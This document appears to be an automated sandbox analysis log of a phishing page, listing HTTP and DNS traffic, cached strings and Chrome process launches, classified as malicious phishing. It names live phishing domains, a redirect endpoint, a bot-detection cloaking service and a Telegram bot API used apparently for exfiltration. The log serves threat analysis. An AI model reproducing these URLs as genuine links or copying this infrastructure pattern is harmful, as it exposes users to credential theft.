Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/pages/_app-aea6920bd27938ca.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/186-e401717d9e8b842b.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/pages/index-dadb5f79ae394453.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/qG6qgSnklpcbRb9BMWSId/_buildManifest.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/qG6qgSnklpcbRb9BMWSId/_ssgManifest.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /background.jpg HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://oka.greenthreads.hr/_next/static/css/19d09a6113afa007.cssAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/css/19d09a6113afa007.css HTTP/1.1Host: oka.greenthreads.hrConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: oka.greenthreads.hrConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /background.jpg HTTP/1.1Host: oka.greenthreads.hrConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9If-None-Match: "4b5febb3fb4517a225620b5fe05016d2"If-Modified-Since: Tue, 15 Apr 2025 13:45:30 GMT
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: oka.greenthreads.hrConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9If-None-Match: "4b5febb3fb4517a225620b5fe05016d2"If-Modified-Since: Tue, 15 Apr 2025 13:45:30 GMT
Source: global traffic	HTTP traffic detected: GET /avatar/ebd41932ef87773e1b196b90510e3a5b?d=identicon HTTP/1.1Host: www.gravatar.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /irk.org HTTP/1.1Host: logo.clearbit.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /avatar/ebd41932ef87773e1b196b90510e3a5b?d=identicon HTTP/1.1Host: www.gravatar.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api64.ipify.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/plain, /sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: https://oka.greenthreads.hrSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api64.ipify.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/detect_bot HTTP/1.1Host: k-bot-production.up.railway.appConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
Source: global traffic	HTTP traffic detected: GET /api/redirect?expires=1744740396593&hash=2892a5c411e4b8c308678cf662d61542f91b2205e91a20eca90c152afaac93f9 HTTP/1.1Host: patnero.thesilent.deConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ralph.owa-netbros.shop
Source: global traffic	DNS traffic detected: DNS query: nero.kempo-karic.shop
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: patnero.thesilent.de
Source: global traffic	DNS traffic detected: DNS query: classntfst.shop
Source: global traffic	DNS traffic detected: DNS query: oka.greenthreads.hr
Source: global traffic	DNS traffic detected: DNS query: logo.clearbit.com
Source: global traffic	DNS traffic detected: DNS query: www.gravatar.com
Source: global traffic	DNS traffic detected: DNS query: api64.ipify.org
Source: global traffic	DNS traffic detected: DNS query: k-bot-production.up.railway.app
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/jsd/r/0.3809236297663976:1744738218:dh8UM0OA3R3TRKLnGxn5QeCH6HsMhAaIP_IuOoiA6TU/930d6048ad517b37 HTTP/1.1Host: nero.kempo-karic.shopConnection: keep-aliveContent-Length: 16755sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: text/plain;charset=UTF-8sec-ch-ua-mobile: ?0Accept: */*Origin: https://nero.kempo-karic.shopSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Apr 2025 18:06:23 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCf-Ray: 930d605e48d5e9ad-DFWServer: cloudflareCf-Cache-Status: EXPIREDAccess-Control-Allow-Origin: *Cache-Control: max-age=14400Vary: Accept-EncodingX-Content-Type-Options: nosniffX-Frame-Options: DENYX-Ms-Error-Code: WebContentNotFoundX-Ms-Request-Id: 45d0ca1c-901e-0002-1d31-ae4658000000X-Ms-Version: 2018-03-28Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=93PnrhXdLQO35JYf0xg%2BWGo9GJ6lrYRGx%2BmPOzecpLMxtHevBKd7EW4thpK2ktn4Aa8o1liy9zP%2FWhqiJ%2FTz%2BUp1knRO1VSFIBxunMpEC4UIYTzjAMmqXYSQO%2B9yrH8UBnUr0bNBobE%3D"}],"group":"cf-nel","max_age":604800}Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}alt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=122424&min_rtt=122419&rtt_var=25832&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1243&delivery_rate=32978&cwnd=86&unsent_bytes=0&cid=9af4de560b29e91c&ts=1179&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Apr 2025 18:06:27 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeaccess-control-allow-headers: Content-Type, Authorizationaccess-control-allow-methods: GET, POST, OPTIONSaccess-control-allow-origin: *content-security-policy: default-src 'none'rndr-id: 45bbeafa-ab2e-4e58vary: Accept-Encodingx-content-type-options: nosniffx-powered-by: Expressx-render-origin-server: RenderCF-Cache-Status: DYNAMICServer: cloudflareCF-RAY: 930d607d5d41e58e-ATLalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8Content-Length: 1Connection: closeDate: Tue, 15 Apr 2025 18:06:48 GMTx-envoy-response-flags: -Server: Clearbitstrict-transport-security: max-age=63072000; includeSubDomains; preloadx-content-type-options: nosniffX-Cache: Error from cloudfrontVia: 1.1 f4a9c912221b840a5f27fb82db198fd0.cloudfront.net (CloudFront)X-Amz-Cf-Pop: ATL59-P4X-Amz-Cf-Id: DFEQ2zeqXq98otPT3T9zv-Zy_IdFrtj9oPTM6Ezrxi7YcAn46wb2vQ==

Source: chromecache_84.1.dr	String found in binary or memory: https://api.telegram.org/bot
Source: chromecache_84.1.dr, chromecache_83.1.dr	String found in binary or memory: https://api64.ipify.org?format=json
Source: chromecache_71.1.dr	String found in binary or memory: https://feross.org
Source: chromecache_84.1.dr	String found in binary or memory: https://k-bot-production.up.railway.app/api/detect_bot
Source: chromecache_84.1.dr	String found in binary or memory: https://logo.clearbit.com/
Source: chromecache_84.1.dr	String found in binary or memory: https://np.midway-games.shop/
Source: chromecache_83.1.dr	String found in binary or memory: https://patnero.thesilent.de/api/get_doc_url
Source: chromecache_89.1.dr	String found in binary or memory: https://vercel.live/_next-live/feedback/feedback.js
Source: chromecache_84.1.dr	String found in binary or memory: https://www.gravatar.com/avatar/

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49695
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49694
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 173.194.219.99:443 -> 192.168.2.10:49694 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.161.110.119:443 -> 192.168.2.10:49695 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.161.110.119:443 -> 192.168.2.10:49696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.10:49697 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.10:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.10:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.24.57.1:443 -> 192.168.2.10:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.24.57.1:443 -> 192.168.2.10:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.24.57.1:443 -> 192.168.2.10:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.88.234:443 -> 192.168.2.10:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.10:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.10:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.10:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.10:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.10:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.0.73.2:443 -> 192.168.2.10:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.161.136.8:443 -> 192.168.2.10:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.0.73.2:443 -> 192.168.2.10:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.231.16.77:443 -> 192.168.2.10:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 66.33.22.4:443 -> 192.168.2.10:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.231.16.77:443 -> 192.168.2.10:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 66.33.22.3:443 -> 192.168.2.10:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.10:49766 version: TLS 1.2

Source: classification engine

Classification label: mal72.phis.troj.win@24/47@42/17

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1968,i,15005226337836667698,11510698760047465980,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2032 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://ralph.owa-netbros.shop/67f6835c479eb29c9fc8721b?utm_source=%7Br%7D&utm_medium=%7Br%7D&utm_campaign=%7Br%7D"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1968,i,15005226337836667698,11510698760047465980,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2032 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
